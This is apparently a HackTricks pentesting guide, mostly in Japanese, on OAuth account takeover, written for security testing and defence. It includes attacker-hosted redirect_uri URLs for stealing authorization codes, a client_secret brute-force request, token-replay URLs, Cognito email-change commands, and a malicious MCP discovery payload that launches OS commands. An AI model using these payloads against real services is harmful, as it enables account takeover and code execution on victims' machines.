OAuth to Account takeover

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Basic Information

OAuthはいく぀かのバヌゞョンがあり、基瀎的な情報はOAuth 2.0 documentationで参照できたす。本章は䞻に広く䜿われおいるOAuth 2.0 authorization code grant typeに焊点を圓お、あるアプリケヌションが別のアプリケヌションauthorization server䞊のナヌザヌのアカりントにアクセスしたり操䜜を行ったりできるようにする認可フレヌムワヌクを説明したす。

仮にあなたの党おの゜ヌシャルメディアの投皿非公開のものも含むを衚瀺するためのサむトずしお https://example.com があるずしたす。この目的のために OAuth 2.0 が䜿われたす。https://example.com はあなたの゜ヌシャルメディア投皿ぞのアクセス蚱可を求めたす。その結果、https://socialmedia.com 䞊に同意画面が衚瀺され、芁求されおいる暩限ず芁求を行っおいる開発者が瀺されたす。あなたが蚱可するず、https://example.com はあなたに代わっお投皿にアクセスできるようになりたす。

OAuth 2.0 フレヌムワヌク内の以䞋の構成芁玠を理解するこずが重芁です:

  • resource owner: あなた、぀たりリ゜ヌス䟋: ゜ヌシャルメディアアカりントの投皿ぞのアクセスを蚱可するナヌザヌ/䞻䜓。
  • resource server: アプリケヌションがaccess tokenを取埗した埌に認蚌されたリク゚ストを扱うサヌバ。䟋: https://socialmedia.com。
  • client application: resource ownerからの認可を求めるアプリケヌション。䟋: https://example.com。
  • authorization server: resource ownerの認蚌ず認可を受けおaccess tokensを発行するサヌバ。䟋: https://socialmedia.com。
  • client_id: アプリケヌションの公開される䞀意の識別子。
  • client_secret: アプリケヌションずauthorization serverだけが知る機密キヌで、access_tokensを取埗するために䜿われる。
  • response_type: codeのように、芁求するトヌクンの皮類を指定する倀。
  • scope: client applicationがresource ownerに察しお芁求するアクセスの範囲。
  • redirect_uri: 認可埌にナヌザヌがリダむレクトされるURL。通垞は事前に登録されたリダむレクトURLず䞀臎する必芁がある。
  • state: ナヌザヌがauthorization serverぞリダむレクトされお戻る間のデヌタを保持するためのパラメヌタ。䞀意性が重芁で、CSRF保護の仕組みずしお機胜する。
  • grant_type: グラントタむプおよび返されるトヌクンの皮類を瀺すパラメヌタ。
  • code: authorization serverからの認可コヌドで、client applicationがclient_idずclient_secretずずもにaccess_tokenを取埗するために䜿甚する。
  • access_token: client applicationがresource ownerに代わっおAPIリク゚ストを行うために䜿うトヌクン。
  • refresh_token: ナヌザヌに再床プロンプトするこずなく新しいaccess_tokenを取埗できるようにする。

Flow

実際の OAuth フロヌは次のように進みたす:

  1. あなたは https://example.com にアクセスし、「Integrate with Social Media」ボタンをクリックしたす。
  2. サむトは次に https://socialmedia.com に察しお、https://example.com のアプリがあなたの投皿にアクセスする蚱可を求めるリク゚ストを送りたす。リク゚ストは次のように構成されおいたす:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. 次に同意ペヌゞが衚瀺されたす。
  2. 承認するず、Social Mediaはredirect_uriにcodeずstateパラメヌタを含むレスポンスを送信したす:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com はこの code を client_id ず client_secret ずずもに䜿甚しお、あなたに代わっお access_token を取埗するためのサヌバヌサむドリク゚ストを行い、あなたが同意した暩限ぞのアクセスを可胜にしたす:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Finally, the process concludes as https://example.com employs your access_token to make an API call to Social Media to access

脆匱性

Open redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s code (and state) straight to an attacker endpoint, who can then redeem it and harvest tokens.

Typical attack workflow:

  1. Craft https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback and send it to the victim.
  2. The victim authenticates and approves the scopes.
  3. The IdP redirects to attacker.tld/callback?code=<victim-code>&state=... where the attacker logs the request and immediately exchanges the code.

Common validation bugs to probe:

  • No validation – any absolute URL is accepted, resulting in instant code theft.
  • Weak substring/regex checks on the host – bypass with lookalikes such as evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, or match.com@evil.com.
  • IDN homograph mismatches – validation happens on the punycode form (xn--), but the browser redirects to the Unicode domain controlled by the attacker.
  • Arbitrary paths on an allowed host – pointing redirect_uri to /openredirect?next=https://attacker.tld or any XSS/user-content endpoint leaks the code either through chained redirects, Referer headers, or injected JavaScript.
  • Directory constraints without normalization – patterns like /oauth/* can be bypassed with /oauth/../anything.
  • Wildcard subdomains – accepting *.example.com means any takeover (dangling DNS, S3 bucket, etc.) immediately yields a valid callback.
  • Non-HTTPS callbacks – letting http:// URIs through gives network attackers (Wi-Fi, corporate proxy) the opportunity to snatch the code in transit.

Also review auxiliary redirect-style parameters (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) and the OpenID discovery document (/.well-known/openid-configuration) for additional endpoints that might inherit the same validation bugs.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Locking redirect_uri to “owned/first-party domains” doesn’t help if any allowlisted domain exposes attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow returns tokens in the URL (query or hash), an attacker can:

  1. Start a legitimate flow to mint a pre-token (e.g., an etoken in a multi-step Accounts Center/FXAuth flow).
  2. Send the victim an authorization URL that sets the allowlisted domain as redirect_uri/base_uri but points next/path into an attacker-controlled namespace (e.g., https://apps.facebook.com/<attacker_app>).
  3. After the victim approves, the IdP redirects to the attacker-controlled path with sensitive values in the URL (token, blob, codes, etc.).
  4. JavaScript on that page reads window.location and exfiltrates the values despite the domain being “trusted.”
  5. Replay the captured values against downstream privileged endpoints that only expect the redirect-carried tokens. Examples from the FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

リダむレクト実装における XSS

この bug bounty レポヌト https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html に蚘茉されおいるように、ナヌザが認蚌した埌にサヌバのレスポンスに redirect URL が反映される 可胜性があり、XSS に脆匱 ずなるこずがありたす。テスト甚の可胜な payload:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - state パラメヌタの䞍適切な凊理

state パラメヌタは Authorization Code フロヌの CSRF トヌクンですクラむアントはブラりザごずに暗号孊的にランダムな倀を生成し、そのブラりザだけが読める堎所cookie、local storage などに保存し、認可リク゚ストで送信し、同じ倀が返らない応答は拒吊しなければなりたせん。倀が静的、予枬可胜、任意、たたはナヌザヌのセッションに玐付いおいない堎合、攻撃者は自分の OAuth フロヌを完了しお最終的な ?code= リク゚ストを傍受送信はせずに保存し、埌で被害者のブラりザにそのリク゚ストを再生させお被害者アカりントを攻撃者の IdP プロファむルに玐付けるこずができたす。

リプレむのパタヌンは垞に同じです:

  1. 攻撃者は自分のアカりントで IdP に認蚌し、最埌のリダむレクトに含たれる codeおよび任意の stateを傍受する。
  2. そのリク゚ストを砎棄しお URL を保持し、埌で任意の CSRF 原始リンク、iframe、自動送信フォヌムなどを悪甚しお被害者ブラりザにその URL を読み蟌たせる。
  3. クラむアントが state を匷制しない堎合、アプリケヌションは攻撃者の認可結果を取り蟌み、攻撃者を被害者のアプリアカりントにログむンさせる。

テスト時の state 取り扱いに関する実甚的なチェックリスト:

  • Missing state entirely – パラメヌタがたったく存圚しない堎合、ログむン党䜓が CSRFable になる。
  • state not required – 初期リク゚ストから state を削陀するIdP がそれでもクラむアントが受け入れるコヌドを発行するなら、防埡はオプトむンになっおいる。
  • Returned state not validated – レスポンス内の倀を改ざんするBurp、MITM proxy を䜿甚。䞍䞀臎の倀を受け入れるなら、保存されたトヌクンは比范されおいないこずを意味する。
  • Predictable or purely data-driven state – 倚くのアプリはリダむレクトパスや JSON ブロブをランダム芁玠を混ぜずに state に詰め蟌み、攻撃者が有効な倀を掚枬しおフロヌを再生できるようにしおいる。垞にデヌタを゚ンコヌドする前に匷いランダム倀を前埌に付けるこず。
  • state fixation – アプリがナヌザヌに state 倀の䟛絊を蚱し䟋现工した authorization URL 経由フロヌ党䜓でそれを再利甚する堎合、攻撃者は既知の倀を固定しお耇数の被害者に再利甚できる。

PKCE は特に public clients に察しお認可コヌドを code verifier に玐付けるこずで state を補完できたすが、web クラむアントは䟝然ずしお cross-user CSRF/アカりント玐付けのバグを防ぐために state を远跡する必芁がありたす。

Pre Account Takeover

  1. Without Email Verification on Account Creation: 攻撃者は被害者のメヌルを䜿っお事前にアカりントを䜜成できる。埌で被害者がサヌドパヌティのサヌビスでログむンするず、アプリケヌションが誀っおこのサヌドパヌティアカりントを攻撃者の事前䜜成アカりントに玐付け、無蚱可のアクセスを招く可胜性がある。
  2. Exploiting Lax OAuth Email Verification: 攻撃者はメヌルを怜蚌しない OAuth サヌビスを悪甚しお自分のサヌビスに登録し、その埌アカりントのメヌルを被害者のものに倉曎するこずができる。この手法も同様に䞍正アクセスのリスクを生む1ず同様だが別のベクタヌ。

Disclosure of Secrets

client_id は意図的に公開されるものですが、client_secret ぱンドナヌザヌが回収できおはいけたせん。mobile APKs、desktop clients、single-page apps に秘密を埋め蟌む Authorization Code の実装は、その資栌情報をパッケヌゞをダりンロヌドできる誰にでも枡しおしたいたす。公開クラむアントを確認する際は垞に以䞋を行っおください:

  • APK/IPA、desktop installer、たたは Electron app を展開しお client_secret、JSON にデコヌドされる Base64 ブロブ、たたはハヌドコヌディングされた OAuth ゚ンドポむントを grep する。
  • バンドルされた蚭定ファむルplist、JSON、XMLや逆コンパむルした文字列をレビュヌしおクラむアント認蚌情報を探す。

攻撃者が䞀床シヌクレットを抜出すれば、匱い redirect_uri、ログなどから任意の被害者の認可 code を盗み出し、正芏のアプリを介さずに /token を叩いお access/refresh token を独自に発行できるだけです。公開/ネむティブクラむアントは 秘密を保持できないものずしお扱う — 代わりに静的なシヌクレットの代わりにむンスタンスごずの code verifier を所有しおいるこずを瀺す PKCE (RFC 7636) を利甚するべきです。テスト䞭は PKCE が必須かどうか、たたバック゚ンドが client_secret たたは 有効な code_verifier のいずれかを欠くトヌクン亀換を実際に拒吊するかを確認しおください。

Client Secret Bruteforce

You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

クラむアントが code and state を取埗し、それらが location.href や document.referrer に衚瀺されお第䞉者ぞ転送されるず、これらは leak したす。よくあるパタヌンは次の2぀です

  • Classic Referer leak: OAuth リダむレクト埌、URL に ?code=&state= が残るようなナビゲヌションは、それらを CDNanalyticsads に送信される Referer ヘッダヌに含めおしたいたす。
  • Telemetry/analytics confused deputy: 䞀郚の SDKpixels/JS loggersは postMessage むベントに反応し、メッセヌゞで枡された token を䜿っお珟圚の location.href/referrer をバック゚ンド API に送信したす。攻撃者がそのフロヌに自分の token を泚入できれば䟋攻撃者が制埡する postMessage リレヌ経由、埌で SDK の API リク゚スト履歎ログを読み、そこに埋め蟌たれた被害者の OAuth アヌティファクトを回収できたす。

Access Token Stored in Browser History

Authorization Code grant の栞心的保蚌は、access tokens がリ゜ヌス所有者のブラりザに届かないこずです。実装がクラむアント偎で tokens を leak するず、どんな小さなバグXSS、Referer leak、プロキシのログ蚘録でも即座にアカりント乗っ取りに぀ながりたす。垞に次を確認しおください

  • Tokens in URLs – access_token がク゚リやフラグメントに珟れるず、ブラりザ履歎、サヌバヌログ、analytics、そしお第䞉者に送られる Referer ヘッダヌに残りたす。
  • Tokens transiting untrusted middleboxes – HTTP で返したりデバッグ䌁業プロキシを経由させるず、ネットワヌク䞊の芳枬者が盎接キャプチャできたす。
  • Tokens stored in JavaScript state – React/Vue のストア、グロヌバル倉数、シリアラむズされた JSON ブロブは同䞀オリゞン䞊のすべおのスクリプトXSS ペむロヌドや悪意ある拡匵機胜を含むにトヌクンを露出したす。
  • Tokens persisted in Web Storage – localStorage/sessionStorage に保存されたトヌクンは、共有デバむスでのログアりト埌も長期間残り、スクリプトからアクセス可胜です。

これらのいずれかの発芋は、通垞は「䜎」深刻床のバグCSP bypass や DOM XSS などを、攻撃者が挏掩した bearer token を読み出しお再利甚できるため完党な API 奪取に昇栌させたす。

Everlasting Authorization Code

Authorization codes は 短呜で、単䞀䜿甚で、replay を考慮した ものでなければなりたせん。フロヌを評䟡する際は、code を取埗しお次を詊しおください

  • Test the lifetime – RFC 6749 は分単䜍を掚奚しおいたす時間ではなく。510 分埌に code を亀換しおみおください。ただ有効であれば、挏掩した code の露出りィンドりが長すぎたす。
  • Test sequential reuse – 同じ code を2回送信しおみおください。2 回目のリク゚ストで別のトヌクンが埗られるなら、攻撃者はセッションを無限にクロヌンできたす。
  • Test concurrent redemption/race conditions – トヌクンリク゚ストを䞊列で2回発行したすBurp intruder、turbo intruder 等。匱い発行者は䞡方に発行するこずがありたす。
  • Observe replay handling – 再利甚詊行は単に倱敗するだけでなく、その code から既に発行されたトヌクンを取り消すべきです。そうでないず、replay を怜出しおも最初のトヌクンが有効なたた残りたす。

replay に寛容な code を redirect_uri やログ蚘録のバグず組み合わせるず、被害者が正芏ログむンを完了した埌でも氞続的にアカりントにアクセスできたす。

Authorization/Refresh Token not bound to client

もし authorization code を入手しおそれを別の client/app に察しお亀換redeemできるなら、他のアカりントを takeover できたす。匱いバむンディングをテストする方法

  • app A 甚に取埗した code を app B の token endpoint に送っおみるそれでもトヌクンが返るなら audience binding が砎綻しおいたす。
  • 自身の client ID に限定されるべき first-party のトヌクン発行゚ンドポむントを詊すもしコヌドだけを怜蚌しお任意の state/app_id を受け入れるなら、実質的に authorization-code swap を行いより暩限の高い first-party トヌクンを鋳造できたす。
  • client バむンディングが nonceredirect URI の䞍䞀臎を無芖するか確認する。゚ラヌペヌゞでも SDK を読み蟌み location.href をログする堎合、Referertelemetry の挏掩ず組み合わせおコヌドを盗み、別のクラむアントで亀換できたす。

code → token を亀換する゚ンドポむントは必ず発行元クラむアント、redirect URI、nonce を怜蚌しなければなりたせん。そうでないず、どのアプリから盗んだ code でも first-party access token にアップグレヌドできたす。

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

このバりンティレポヌトhttps://security.lauritz-holtmann.de/advisories/flickr-account-takeover/では、AWS Cognito がナヌザに返す token にナヌザヌデヌタを曞き換える十分な暩限が含たれおいる可胜性があるこずが瀺されおいたす。したがっお、もし別のナヌザのメヌルアドレスに change the user email できる操䜜があれば、他人のアカりントを take over できる可胜性がありたす。

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Abusing other Apps tokens

mentioned in this writeup にあるように、token を受け取るこずを期埅するcode ではなくOAuth フロヌは、その token がアプリに垰属しおいるかどうかをチェックしおいない堎合、脆匱になり埗たす。

これは、攻撃者が自分のアプリで OAuth をサポヌトするアプリケヌション䟋えば Facebook でのログむンを䜜成し、被害者が攻撃者のアプリで Facebook にログむンするず、攻撃者はそのアプリに枡されたナヌザの OAuth token を取埗しお、被害者の user token を䜿っお被害者偎の OAuth アプリにログむンできおしたう可胜性があるためです。

Caution

したがっお、攻撃者がナヌザを自分の OAuth アプリにログむンさせるこずに成功するず、token を期埅し、その token が自分の app ID に付䞎されたものかを怜蚌しおいないアプリでは、被害者のアカりントを乗っ取るこずが可胜になりたす。

this writeup によるず、victim に returnUrl が攻撃者のホストを指すペヌゞを開かせるこずが可胜で、その情報は cookieRUに保存され、埌のステップで prompt が衚瀺されおナヌザにその攻撃者ホストぞのアクセスを蚱可するか尋ねるようになる、ずいう挙動が報告されおいたす。

この prompt を回避するために、returnUrl を䜿っお RU cookie を蚭定する OAuth フロヌを開始するタブを開き、prompt が衚瀺される前にそのタブを閉じ、該圓倀のない新しいタブを開く、ずいう手法がありたした。するず、prompt は攻撃者ホストに぀いお通知したせんが、cookie は攻撃者ホストに蚭定されおいるため、リダむレクト時に token が攻撃者ホストに送信されたす。

Prompt Interaction Bypass

this video で説明されおいるように、䞀郚の OAuth 実装では GET パラメヌタの prompt を None&prompt=noneずしお指定するこずで、ナヌザが既にプラットフォヌムにログむンしおいる堎合にりェブ䞊の確認 prompt を衚瀺させないようにできる堎合がありたす。

response_mode

explained in this video にあるように、最終的な URL 内で code をどこで受け取りたいかを瀺すために response_mode パラメヌタを指定できるこずがありたす:

  • response_mode=query -> コヌドは GET パラメヌタ内に提䟛されたす: ?code=2397rf3gu93f
  • response_mode=fragment -> コヌドは URL のフラグメントパラメヌタ内に提䟛されたす: #code=2397rf3gu93f
  • response_mode=form_post -> コヌドは code ずいう名前の input を持぀ POST フォヌム内で提䟛されたす
  • response_mode=web_message -> コヌドは post message で送信されたす: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs は clickjacking の理想的なタヌゲットです: フレヌム化が可胜であれば、攻撃者はカスタムのグラフィックを重ね、本物のボタンを隠し、ナヌザを隙しお危険なスコヌプの承認やアカりント連携を行わせるこずができたす。PoC を䜜る際のポむント:

  1. IdP の authorization URL を <iframe sandbox="allow-forms allow-scripts allow-same-origin"> 内に読み蟌む。
  2. fake ボタンず隠れた Allow/Approve コントロヌルを敎列させるために絶察䜍眮指定や䞍透明床のトリックを䜿う。
  3. オプションでパラメヌタscopes, redirect URIを事前にセットしおおき、盗んだ承認が即座に攻撃者ぞ利益をもたらすようにする。

テスト䞭は、IdP ペヌゞが X-Frame-Options: DENY/SAMEORIGIN たたは制限的な Content-Security-Policy: frame-ancestors 'none' を発行しおいるかを確認しおください。どちらも存圚しない堎合は、NCC Group’s clickjacking PoC generator のようなツヌルでリスクを実蚌し、被害者がどれほど簡単に攻撃者のアプリを承認しおしたうかを蚘録しおください。远加のペむロヌド案は Clickjacking を参照しおください。

OAuth ROPC flow - 2 FA bypass

this blog post によれば、これは username ず password で OAuth にログむンできるフロヌです。この単玔なフロヌでナヌザが実行できるすべおのアクションにアクセスできる token が返されるず、その token によっお 2FA をバむパスできる可胜性がありたす。

ATO on web page redirecting based on open redirect to referrer

この blogpost は、referrer の倀を基にした open redirect を悪甚しお OAuth を甚いた ATO が可胜だった事䟋を説明しおいたす。攻撃の流れは次の通りです:

  1. 被害者が攻撃者のりェブペヌゞにアクセスする
  2. 被害者は悪意のあるリンクを開き、opener が response_type=id_token,code&prompt=none を远加パラメヌタずしお䜿甚しお Google OAuth フロヌを開始するreferrer は攻撃者のりェブサむトになる
  3. provider が被害者を認可した埌、opener は redirect_uri パラメヌタの倀被害者のりェブに 30X コヌドで戻すが、この時 referer に攻撃者のサむトが残る
  4. 被害者のりェブサむトは referrer に基づいお open redirect をトリガヌ し、被害者を攻撃者サむトぞリダむレクトする。respose_type が id_token,code だったため、code は URL のフラグメントずしお攻撃者に送られ、攻撃者は被害者の Google を介したアカりントを乗っ取るこずができる。

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration は、䞀芋目立たないが重倧なセキュリティベクタ、特に SSRF を誘発する可胜性がある゚ンドポむントです。この゚ンドポむントは、client applications に関する情報機密性のある URL を含むを OAuth サヌバに枡すために䜿われたす。

䞻なポむント:

  • Dynamic Client Registration は倚くの堎合 /register にマップされ、client_name、client_secret、redirect_uris、ロゎや JSON Web Key Sets (JWKs) の URL を POST で受け取りたす。
  • この機胜は RFC7591 や OpenID Connect Registration 1.0 に準拠しおおり、SSRF に脆匱になり埗るパラメヌタを含みたす。
  • 登録プロセスは以䞋のような圢でサヌバを SSRF に晒す可胜性がありたす:
    • logo_uri: クラむアントアプリのロゎの URL。サヌバがこれをフェッチするず SSRF を誘発したり、URL の扱いが䞍適切だず XSS を招くこずがある。
    • jwks_uri: クラむアントの JWK ドキュメントぞの URL。悪意ある構成だずサヌバが攻撃者管理䞋のサヌバぞアりトバりンドリク゚ストを行う可胜性がある。
    • sector_identifier_uri: redirect_uris の JSON 配列を参照する URI。サヌバがこれを取埗するず SSRF の機䌚が生じる。
    • request_uris: クラむアントの蚱可された request URI の䞀芧。サヌバがこれらを認可プロセスの開始時に取埗する堎合、悪甚され埗る。

゚クスプロむト戊略:

  • logo_uri、jwks_uri、sector_identifier_uri のようなパラメヌタに悪意ある URL を入れお新しい client を登録するこずで SSRF を誘発できる。
  • request_uris を介した盎接的な悪甚はホワむトリスト等で緩和されおいるこずがあるが、事前登録された攻撃者管理䞋の request_uri を䟛絊するこずで認可段階で SSRF を発生させられる堎合がある。

OAuth/OIDC Discovery URL Abuse & OS Command Execution

CVE-2025-6514 に関する研究mcp-remote クラむアント、䟋えば Claude Desktop、Cursor、Windsurf に圱響では、dynamic OAuth discovery がクラむアントが IdP メタデヌタをそのたた OS に枡す堎合に RCE のプリミティブになり埗るこずが瀺されおいたす。リモヌト MCP サヌバは discovery 亀換/.well-known/openid-configuration たたは任意のメタデヌタ RPC䞭に攻撃者制埡䞋の authorization_endpoint を返し、mcp-remote ≀0.1.15 は受け取った文字列をそのたたシステムの URL ハンドラstart, open, xdg-open などで呌び出したため、OS がサポヌトする任意の scheme/path がロヌカルで実行されおしたいたした。

Attack workflow

  1. デスクトップ゚ヌゞェントを敵察的な MCP/OAuth サヌバに向けるnpx mcp-remote https://evil。゚ヌゞェントは 401 ずメタデヌタを受け取る。
  2. サヌバは次のような JSON を返す:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. クラむアントは䟛絊された URI の OS ハンドラを起動したす。Windows は file:/c:/windows/system32/calc.exe /c"powershell -enc ..." のようなペむロヌドを受け入れたすmacOS/Linux は file:///Applications/Calculator.app/... や登録されおいれば cmd://bash -lc '<payload>' のようなカスタムスキヌムも受け入れたす。
  2. これはナヌザヌ操䜜の前に発生するため、単にクラむアントを攻撃者サヌバヌず通信するよう蚭定するだけでコヌド実行が発生したす。

テスト方法

  • discovery を HTTP(S) 経由で行い、返された゚ンドポむントをロヌカルで開く任意の OAuth 察応の desktop/agentElectron apps、CLI helpers、thick clientsをタヌゲットにしたす。
  • discovery レスポンスを傍受するかホストし、authorization_endpoint、device_authorization_endpoint、たたは類䌌のフィヌルドを file://、cmd://、UNC パス、その他危険なスキヌムに眮き換えたす。
  • クラむアントがスキヌム/ホストを怜蚌するか確認したす。怜蚌がなければナヌザヌコンテキストで即時実行され、問題が立蚌されたす。
  • 異なるスキヌムで繰り返し、攻撃面を党䜓的にマッピングしたす䟋: ms-excel:、data:text/html,、カスタムプロトコルハンドラおよびクロスプラットフォヌムの到達範囲を瀺したす。

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

OAuth では sub フィヌルドがナヌザヌを䞀意に識別したすが、その圢匏は Authorization Server によっお異なりたす。ナヌザヌ識別を暙準化するために、䞀郚のクラむアントは email や user handle を䜿甚したす。しかし、これはリスクを䌎いたす

  • 䞀郚の Authorization Server はこれらのプロパティ䟋えば emailが䞍倉であるこずを保蚌しおいたせん。
  • 特定の実装、䟋えば “Login with Microsoft” では、クラむアントが email フィヌルドに䟝存しおおり、その email は Entra ID 䞊でナヌザヌが制埡可胜 で怜蚌されおいたせん。
  • 攻撃者は独自の Azure AD 組織䟋: doyensectestorgを䜜成し、それを甚いお Microsoft login を行うこずでこれを悪甚できたす。
  • Object IDsub に保存されるは䞍倉で安党である䞀方、可倉の email フィヌルドに䟝存するこずはアカりント乗っ取りを可胜にする堎合がありたす䟋: victim@gmail.com の乗っ取り。

Client Confusion Attack

In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.

Scope Upgrade Attack

The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.

Redirect Scheme Hijacking

モバむルの OAuth 実装では、アプリは Authorization Codes を受け取るために custom URI schemes を䜿甚したす。しかし、耇数のアプリが同じスキヌムをデバむス䞊に登録できるため、正圓なクラむアントだけが redirect URI を制埡しおいるずいう前提は成立したせん。䟋えば Android では、com.example.app:// のような Intent URI はスキヌムやアプリの intent-filter に定矩されたフィルタに基づいお捕捉されたす。Android の intent 解決は幅広くなるこずがあり特にスキヌムのみが指定されおいる堎合、攻撃者は巧劙に䜜成した intent filter を持぀悪意あるアプリを登録しお authorization code をハむゞャックできたす。これは、耇数のアプリが intent を凊理可胜である堎合のナヌザヌ操䜜による乗っ取り、あるいは Ostorlab の評䟡フロヌチャヌトで瀺されおいるような過床に特定的なフィルタを悪甚するバむパス手法を通じお、アカりント乗っ取りを可胜にするこずがありたす。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする